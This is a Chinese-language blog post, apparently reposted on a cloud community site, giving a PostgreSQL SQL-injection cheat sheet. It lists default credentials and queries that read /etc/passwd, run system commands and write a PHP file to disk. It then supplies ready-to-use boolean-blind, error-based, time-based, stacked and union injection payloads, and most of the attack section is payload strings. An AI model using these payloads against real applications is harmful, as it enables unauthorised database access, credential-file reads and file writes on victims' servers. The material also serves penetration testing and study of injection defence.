PostgreSQL数据库的注入

举报
谢公子 发表于 2021/11/18 23:24:34 2021/11/18
【摘要】 目录 PostgreSQL PostgreSQL常用查询命令 布尔盲注 错误注入 堆叠注入 时间盲注 联合查询 PostgreSQL PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),4.2版本为基础的对象关系型数据库管理系统。 PostgreSQL安装后,默认的端口是:...

目录

PostgreSQL

PostgreSQL常用查询命令

布尔盲注

错误注入

堆叠注入

时间盲注

联合查询


PostgreSQL

PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),4.2版本为基础的对象关系型数据库管理系统。

PostgreSQL安装后,默认的端口是:5432,默认的用户名是: postgres ,默认的数据库也是:postgres 。

  • 注释符:--             
  • 延时函数:pg_sleep(3)

PostgreSQL和MySQL一样,也有 information_schema 数据库。

PostgreSQL安装后默认是不允许其他主机连接的,如果要让其他主机连接,找到PostgreSQL安装目录下的/data/pg_hba.conf, 找到“# IPv4 local connections:”,然后在下面添加你的IP地址

host    all             all             192.168.10.1/32         md5
 

PostgreSQL常用查询命令


  
  1. select CURRENT_SCHEMA() #查看当前权限
  2. select user #查看用户
  3. select current_user #查看当前用户
  4. select chr(97) #将ASCII码转为字符
  5. select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) #将ASCII转换为字符串
  6. SELECT session_user;
  7. SELECT usename FROM pg_user;
  8. SELECT getpgusername();
  9. select version() #查看PostgreSQL数据库版本
  10. SELECT current_database() #查看当前数据库
  11. select length('admin') #查看长度
  12. select case when(expr1) then result1 else result2 end; #如果xx,执行result1,否则result2
  13. 例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
  14. select pg_read_file("/etc/passwd"); #读取文件
  15. select system("whoami"); #执行系统命令,11.2以下才有该命令
  16. COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; #写入文件

布尔盲注

1 AND ASCII(SUBSTRING((SELECT COALESCE(CAST(COUNT(DISTINCT(schemaname)) AS CHARACTER(10000)),(CHR(32))) FROM pg_tables)::text FROM 1 FOR 1))>48
 

错误注入

报错注入需要目标网站开启了报错提示。

1 AND 2518=CAST((CHR(113)||CHR(98)||CHR(122)||CHR(98)||CHR(113))||(SELECT COALESCE(CAST(schemaname AS CHARACTER(10000)),(CHR(32))) FROM pg_tables OFFSET 0 LIMIT 1)::text||(CHR(113)||CHR(112)||CHR(106)||CHR(98)||CHR(113)) AS NUMERIC)
 

堆叠注入

和MySQL的堆叠注入一样,在后面加上查询语句即可。

时间盲注

select pg_sleep(3)
 

联合查询


  
  1. order by 3 #查看显示列
  2. select null,null,函数
  3. 然后接下来就是和MySQL注入一样了,关于PostgreSQL的语句可以查看SQLMap

更多语句查看SQLMap

文章来源: xie1997.blog.csdn.net,作者:谢公子,版权归原作者所有,如需转载,请联系作者。

原文链接:xie1997.blog.csdn.net/article/details/104628797

【版权声明】本文为华为云社区用户转载文章,如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。